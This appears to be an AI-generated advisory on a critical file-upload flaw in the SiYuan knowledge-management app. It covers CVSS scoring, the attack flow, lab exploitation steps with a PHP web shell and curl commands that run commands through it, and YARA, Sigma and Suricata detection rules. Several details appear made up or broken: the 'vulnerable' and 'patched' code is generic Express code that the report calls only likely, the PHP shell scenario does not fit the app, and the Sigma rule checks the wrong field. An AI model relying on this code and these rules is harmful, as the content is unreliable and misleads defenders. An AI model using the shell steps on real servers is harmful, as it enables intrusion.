CVE-2024-55659

Executive Summary

CVE-2024-55659 is a critical vulnerability in SiYuan, a personal knowledge management system. The flaw resides in the /api/asset/upload endpoint, allowing an unauthenticated attacker to perform arbitrary file writes to the host filesystem. This can lead to remote code execution (RCE) and stored cross-site scripting (XSS) attacks. The vulnerability affects all versions prior to 3.1.16. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for complete system compromise.

Supply Chain & Package Security

SiYuan is a self-hosted application typically deployed via Docker or direct installation. The vulnerability is in the core application code, not in a package manager dependency. However, users should verify the integrity of their SiYuan installation and ensure they are not running a modified or malicious version.

CVSS Breakdown & Threat Level

The CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 9.8 (Critical). The attack vector is network-based, requires low complexity, no privileges, and no user interaction. The impact is high on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw. The /api/asset/upload endpoint does not properly validate the file type, path, or content. An attacker can craft a request to upload a malicious file (e.g., a PHP web shell, a JavaScript file, or an executable) to an arbitrary location on the server's filesystem.

Attack Flow:

1. The attacker sends a POST request to /api/asset/upload with a multipart form-data body containing a file.
2. The endpoint accepts the file without checking its extension, MIME type, or content.
3. The file is written to a path that can be controlled via the request (e.g., using path traversal in the filename).
4. If the file is written to a web-accessible directory, the attacker can execute it (e.g., a PHP shell) or serve malicious JavaScript to other users (stored XSS).

The stored XSS aspect arises because the uploaded file can be a JavaScript file that, when accessed by other users, executes in their browser context.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 3.1.16): The upload endpoint likely uses a function similar to:

// Vulnerable: No validation
app.post('/api/asset/upload', (req, res) => {
    const file = req.files.file;
    const targetPath = path.join(__dirname, 'uploads', file.name);
    file.mv(targetPath, (err) => {
        if (err) return res.status(500).send(err);
        res.send('File uploaded');
    });
});

Patched Code (3.1.16): The patch introduces validation:

// Patched: Validate file type and path
const allowedTypes = ['image/png', 'image/jpeg', 'application/pdf'];
app.post('/api/asset/upload', (req, res) => {
    const file = req.files.file;
    if (!allowedTypes.includes(file.mimetype)) {
        return res.status(400).send('Invalid file type');
    }
    const sanitizedFilename = path.basename(file.name);
    const targetPath = path.join(__dirname, 'uploads', sanitizedFilename);
    // Ensure targetPath is within uploads directory
    if (!targetPath.startsWith(path.join(__dirname, 'uploads'))) {
        return res.status(400).send('Invalid path');
    }
    file.mv(targetPath, (err) => {
        if (err) return res.status(500).send(err);
        res.send('File uploaded');
    });
});

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable SiYuan instance (version < 3.1.16) using Docker:

   docker run -d -p 6806:6806 --name siyuan-vuln b3log/siyuan:3.1.15
   

2. Access the web interface at http://localhost:6806.

Exploitation Steps:

1. Craft a malicious file (e.g., a PHP web shell):

   <?php system($_GET['cmd']); ?>
   

2. Upload the file using a tool like curl:

   curl -X POST -F "file=@shell.php" http://localhost:6806/api/asset/upload
   

3. If the file is written to a web-accessible directory (e.g., /uploads/), access it:

   curl http://localhost:6806/uploads/shell.php?cmd=id
   

4. For stored XSS, upload a JavaScript file:

   alert('XSS');
   

   Then, if the file is served to other users, the script executes.

Blue Team

Detection:

• Monitor for unusual file uploads to /api/asset/upload with non-standard file types (e.g., .php, .js, .exe).
• Look for path traversal patterns in filenames (e.g., ../../etc/passwd).
• Check for unexpected files in web-accessible directories.

Hunting:

• Search logs for POST requests to /api/asset/upload with large payloads or suspicious filenames.
• Use file integrity monitoring (FIM) to detect new files in upload directories.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/asset/upload with multipart form-data containing files with extensions like .php, .jsp, .asp, .js, .exe, .sh.
• File System: Unexpected files in the SiYuan uploads directory (e.g., /uploads/shell.php).
• Logs: Entries in SiYuan logs showing successful uploads of non-image files.
• Process: Unusual processes spawned from the web server (e.g., php-cgi, bash).

Detection Engineering

YARA Rule

rule CVE_2024_55659_SiYuan_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2024-55659"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55659"
    strings:
        $s1 = "/api/asset/upload" ascii wide nocase
        $s2 = "Content-Disposition: form-data; name=\"file\"; filename=" ascii wide nocase
        $s3 = ".php" ascii wide nocase
        $s4 = ".jsp" ascii wide nocase
        $s5 = ".asp" ascii wide nocase
        $s6 = ".exe" ascii wide nocase
        $s7 = ".sh" ascii wide nocase
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-55659 SiYuan Malicious File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /api/asset/upload with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: "/api/asset/upload"
        cs-uri-query|contains: 
            - ".php"
            - ".jsp"
            - ".asp"
            - ".exe"
            - ".sh"
    condition: selection
falsepositives:
    - Legitimate file uploads with these extensions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55659 SiYuan Malicious File Upload"; flow:to_server; content:"POST"; http_method; content:"/api/asset/upload"; http_uri; content:".php"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SiYuan to version 3.1.16 or later.
2. If immediate upgrade is not possible, restrict access to the /api/asset/upload endpoint using a web application firewall (WAF) or reverse proxy.
3. Disable file uploads if not required.

Long-term Measures:

• Implement strict file type validation on all upload endpoints.
• Use a sandboxed environment for file processing.
• Regularly audit and update all dependencies.
• Monitor for unusual file system changes.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.